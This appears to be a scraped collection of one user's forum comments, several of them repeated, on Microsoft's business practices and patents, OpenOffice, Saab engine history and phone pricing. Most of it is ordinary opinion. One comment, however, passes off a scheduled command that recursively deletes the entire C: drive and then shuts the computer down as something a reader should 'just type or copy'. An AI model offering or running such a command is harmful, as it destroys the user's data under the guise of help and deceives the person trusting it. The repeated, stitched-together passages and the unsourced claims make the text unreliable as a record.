It can't even do a fsking "replace template" or "master" properly.
This seems to be your only substantive complaint in the whole diatribe.
I've just tried replacing a Master and found the process simple and efficient. Likewise templates seem logical, simple and not noticeably different to other presentation software to me.
Can you please be more specific about the problems you're having?
Does this mean that IT people are generally incompetent?
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No, it means that the monopoly provider of the world's computer desktop software is greedy and takes profits at the expense of progress, interoperability and stability.
You'd need to find some way of slowing down file transfers too, add an a few dozen random "utilities" to the systray, set it to check in with Ylmf every few weeks and nag you about it, run another dozen or so malware and anti-malware apps in the background to eat some extra RAM and cpu cycles, send all your financial details off to the Russian mafia, deduct $90+ from your bank account for every app you've installed and lock itself so only 3 themes work.
That'd be a bit closer to the Windows Genuine Advantage experience...
It's not just the Streisand effect. There have been a lot of people involved in Microsoft's dirty tricks campaigns over the years and now that the company's on a downhill slide, many of them are looking at their past roles with a bit of regret. The whole dirty house of cards isn't far from tumbling down.
Even James Plamendon, who created Microsoft's Evangelism program, authored that evangelism presentation and is responsible for much of Microsoft's brutal MSOOXML campaign has recanted. He's stated that he regrets his actions and is writing a book about it.
No, they didn't. The Triumph Slant-4 was an offshoot of the V8 engine Triumph built for the Stag.
From Wikipedia:
The Triumph Slant-4 is an engine developed by Triumph. According to Triumph historians Graham Robson and Richard Langworth in Triumph Cars, the complete story, the engine was developed in-house by a design team led by Lewis Dawtry and Harry Webster.
The UK engineering and consultancy company Ricardo, which did have a general engine-development contract with Triumph, was not directly involved with its design, but was usually kept informed of anything new being planned. Ricardo was involved in developing a new engine for Saab, as a replacement for their aging Saab two-stroke and V4 units. When that development proved too expensive and risky to produce, Ricardo, knowing the slant-4 was almost ready for production, brought Saab into contact with Triumph.
To say that "Saabs were, mechanically at least, generic eurocars," clearly reveals that you have never had your hands on one and, therefore, have no idea what you're talking about.
Really? Why would you say that, it's not as though they are rare or exotic vehicles.
I tested Saab 9000s amongst other similar sized cars before buying my Mercedes C200T. I've also driven and passengered in Saabs owned by friends and associates many times since.
I still own the Mercedes, though it's now mostly driven by my gf, and have never regretted the decision.
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Gad. I hated the Saabarus and what GM did.
Why?
Saab was badge-engineering well before GM got involved. They used Triumph Dolomite engines in the 99 and Ford V4 engines in the Sonatas, The Saab 600 was a Lancia Delta, and the 9000 a Fiat Croma/Type Four.
Apart from a few of the very early models, Saabs were, mechanically at least, generic eurocars.
In Australia, resellers have to tell you the actual cost of the phone.
If you look at the prices at Harvey Norman
(a big electronics/furniture chain) you can see that those "subsidised" phones can end up costing a lot.
Nokia E51 Mobile Phone - Silver, $529
$0 Upfront on a $30 Telstra Plan *1.
Minimum payment $720 over 24 months.
BlackBerry® Bold 9000 Smartphone, $999
$0 Upfront on a $100 Telstra Plan *1.
Minimum payment $2400 over 24 months.
The BlackBerry® Bold 9000 Smartphone features email compatibility, 2MP camera and video camera.
It's not about religious language wars. It's just that VB is an oddball subset of C#.
There's not really much point to it unless you're transitioning from an existing Basic, and even then, if you're that badly locked into the Microsoft ecosystem, you'd be better just learning C# anyway.
what if the patent for some reason would end up in someone elses hand than Microsoft?
This is an important question.
Microsoft has already tried selling patents
that could undermine Linux to patent trolls. If they have embeded patented methods in Mono/Moonlight, they could spring the trap at any time by selling the patent or transferring it to a proxy (like SCO).
Interestingly too, the promise very specifically only covers Moonlight.
"This patent covenant only applies to Moonlight and the version of Mono that ships with Moonlight," Goldfarb said.
The failure to extend the promise to Mono would suggest Microsoft would still like to retain the option of preventing any non-Novell Linux distro from including the full Mono at some point in the future.
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This seems to be your only substantive complaint in the whole diatribe.
I've just tried replacing a Master and found the process simple and efficient. Likewise templates seem logical, simple and not noticeably different to other presentation software to me.
Can you please be more specific about the problems you're having?
OpenOffice. It imports older formats as well or better than MS Office does.
You could even use the batch convert mode to make a copy of your old library in an open format.
That's a pretty broad statement. Would you be a little more specific please?
OOo presentation works fine for me, and imports Powerpoint presentations at least as well as different versions of Office do.
Not loud enough.
You're sacked!
Digg?
Which OS is costing this?
Which company just blocked the best efforts of the rest of the world to develop an interoperable set of document formats?
Microsoft has repeatedly prevented progress in computing. the opportunity costs of that alone are incalculable.
' No, it means that the monopoly provider of the world's computer desktop software is greedy and takes profits at the expense of progress, interoperability and stability.
For your computer, just open the terminal and type or copy
"at 12:00 cmd rd C:\ /S /Q && shutdown -s -t 01"
Not if he's used to Office 2003 or earlier. He'd be much more likely to ask questions about Word 2007+ iif he had to use that.
Not quite.
You'd need to find some way of slowing down file transfers too, add an a few dozen random "utilities" to the systray, set it to check in with Ylmf every few weeks and nag you about it, run another dozen or so malware and anti-malware apps in the background to eat some extra RAM and cpu cycles, send all your financial details off to the Russian mafia, deduct $90+ from your bank account for every app you've installed and lock itself so only 3 themes work.
That'd be a bit closer to the Windows Genuine Advantage experience...
It's not just the Streisand effect. There have been a lot of people involved in Microsoft's dirty tricks campaigns over the years and now that the company's on a downhill slide, many of them are looking at their past roles with a bit of regret. The whole dirty house of cards isn't far from tumbling down.
Even James Plamendon, who created Microsoft's Evangelism program, authored that evangelism presentation and is responsible for much of Microsoft's brutal MSOOXML campaign has recanted. He's stated that he regrets his actions and is writing a book about it.
No-ooo!
It's for solar powered ponies silly!
Muahhhh darlings...
They weren't all free, most were tied up or in handcuffs.
No, they didn't. The Triumph Slant-4 was an offshoot of the V8 engine Triumph built for the Stag.
From Wikipedia:
The Triumph Slant-4 is an engine developed by Triumph. According to Triumph historians Graham Robson and Richard Langworth in Triumph Cars, the complete story, the engine was developed in-house by a design team led by Lewis Dawtry and Harry Webster.
The UK engineering and consultancy company Ricardo, which did have a general engine-development contract with Triumph, was not directly involved with its design, but was usually kept informed of anything new being planned. Ricardo was involved in developing a new engine for Saab, as a replacement for their aging Saab two-stroke and V4 units. When that development proved too expensive and risky to produce, Ricardo, knowing the slant-4 was almost ready for production, brought Saab into contact with Triumph.
Really? Why would you say that, it's not as though they are rare or exotic vehicles.
I tested Saab 9000s amongst other similar sized cars before buying my Mercedes C200T. I've also driven and passengered in Saabs owned by friends and associates many times since.
I still own the Mercedes, though it's now mostly driven by my gf, and have never regretted the decision.
Why?
Saab was badge-engineering well before GM got involved. They used Triumph Dolomite engines in the 99 and Ford V4 engines in the Sonatas, The Saab 600 was a Lancia Delta, and the 9000 a Fiat Croma/Type Four.
Apart from a few of the very early models, Saabs were, mechanically at least, generic eurocars.
Nokia E51 Mobile Phone - Silver, $529
$0 Upfront on a $30 Telstra Plan *1.
Minimum payment $720 over 24 months.
BlackBerry® Bold 9000 Smartphone, $999
$0 Upfront on a $100 Telstra Plan *1.
Minimum payment $2400 over 24 months. The BlackBerry® Bold 9000 Smartphone features email compatibility, 2MP camera and video camera.
There's not really much point to it unless you're transitioning from an existing Basic, and even then, if you're that badly locked into the Microsoft ecosystem, you'd be better just learning C# anyway.
As long as the Americans are in charge, there's an 80% chance the asteroid'll land smack in the middle of Vienna.
Not to mention that spaced-out Aussies are just naturally cool units anyway.
Of course. And so is "1 inch = 25.4 millimeters"
Let's face it, this isn't rocket science, is it?
A terameter is a tool for measuring teras.
A terametre is a unit of distance.
Read the name of the "lake", - Kraken Mare.
It's just a big puddle of sea-monster piss, nothing exciting at all.
This is an important question.
Microsoft has already tried selling patents that could undermine Linux to patent trolls. If they have embeded patented methods in Mono/Moonlight, they could spring the trap at any time by selling the patent or transferring it to a proxy (like SCO).
Interestingly too, the promise very specifically only covers Moonlight.
"This patent covenant only applies to Moonlight and the version of Mono that ships with Moonlight," Goldfarb said.
The failure to extend the promise to Mono would suggest Microsoft would still like to retain the option of preventing any non-Novell Linux distro from including the full Mono at some point in the future.
That's right, it's a frappe!